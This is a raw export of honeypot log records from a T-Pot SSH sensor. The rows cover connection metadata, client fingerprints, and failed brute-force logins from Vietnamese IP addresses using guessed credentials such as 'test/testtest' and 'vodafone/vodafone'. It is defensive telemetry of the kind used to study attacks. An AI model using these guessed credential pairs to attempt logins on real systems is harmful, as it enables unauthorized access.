"2021-09-20T11:06:57.049Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
21479	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:55.905914+03	2021-09-20 14:15:03.717643+03	{"_id": "fQbjAnwBvYTbRNuEMgQC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "edb62f6149f3", "@version": "1", "timestamp": "2021-09-20T11:06:55.905914Z", "@timestamp": "2021-09-20T11:06:55.905Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
21480	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:56.030344+03	2021-09-20 14:15:03.718643+03	{"_id": "fgbjAnwBvYTbRNuEMgQC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "2d7ce8d0fb65", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:56.030344Z", "@timestamp": "2021-09-20T11:06:56.030Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
21481	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:56.120666+03	2021-09-20 14:15:03.720642+03	{"_id": "fwbjAnwBvYTbRNuEMgQC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "204e4ebdbd75", "@version": "1", "timestamp": "2021-09-20T11:06:56.120666Z", "@timestamp": "2021-09-20T11:06:56.120Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
21482	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:56.138827+03	2021-09-20 14:15:03.721643+03	{"_id": "gAbjAnwBvYTbRNuEMgQC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "dbae079c7f08", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:56.138827Z", "@timestamp": "2021-09-20T11:06:56.138Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
21483	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:06:56.381645+03	2021-09-20 14:15:03.722614+03	{"_id": "gQbjAnwBvYTbRNuENAR5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1013828830598692, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 43990, "dest_port": 22, "timestamp": "2021-09-20T11:06:56.381645Z", "@timestamp": "2021-09-20T11:06:56.381Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
21485	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:56.294779+03	2021-09-20 14:15:03.725614+03	{"_id": "iQbjAnwBvYTbRNuENQTh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "5dc9ab4fe927", "@version": "1", "duration": 2.430773973464966, "timestamp": "2021-09-20T11:06:56.294779Z", "@timestamp": "2021-09-20T11:06:56.294Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
21486	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:56.381797+03	2021-09-20 14:15:03.726613+03	{"_id": "qQbjAnwBvYTbRNuENQTh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 43990, "timestamp": "2021-09-20T11:06:56.381797", "@timestamp": "2021-09-20T11:06:56.381Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21487	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:56.748318+03	2021-09-20 14:15:03.728613+03	{"_id": "iwbjAnwBvYTbRNuENQTh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "2523bada16f3", "@version": "1", "duration": 2.427403211593628, "timestamp": "2021-09-20T11:06:56.748318Z", "@timestamp": "2021-09-20T11:06:56.748Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
21488	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:56.414248+03	2021-09-20 14:15:03.729612+03	{"_id": "qwbjAnwBvYTbRNuENQTh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [test/testtest] failed", "session": "5359a7b6c7bf", "@version": "1", "password": "testtest", "username": "test", "timestamp": "2021-09-20T11:06:56.414248Z", "@timestamp": "2021-09-20T11:06:56.414Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
21489	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:06:56.382343+03	2021-09-20 14:15:03.730613+03	{"_id": "lAbjAnwBvYTbRNuENQTh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 43990, "dest_port": 22, "timestamp": "2021-09-20T11:06:56.382343", "@timestamp": "2021-09-20T11:06:56.382Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
33331	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:55:05.354691+03	2021-09-20 15:00:05.726722+03	{"_id": "SwYPA3wBvYTbRNuER0-5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 27350, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 950862651943299, "@version": "1", "in_iface": "enp5s0", "src_port": 58791, "dest_port": 53, "timestamp": "2021-09-20T11:55:05.354691Z", "@timestamp": "2021-09-20T11:55:05.354Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
21490	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:56.032467+03	2021-09-20 14:15:03.731613+03	{"_id": "ngbjAnwBvYTbRNuENQTh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 47146, "timestamp": "2021-09-20T11:06:56.032467", "@timestamp": "2021-09-20T11:06:56.032Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21491	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:56.181427+03	2021-09-20 14:15:03.733612+03	{"_id": "nwbjAnwBvYTbRNuENQTh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [vodafone/vodafone] failed", "session": "527431374750", "@version": "1", "password": "vodafone", "username": "vodafone", "timestamp": "2021-09-20T11:06:56.181427Z", "@timestamp": "2021-09-20T11:06:56.181Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
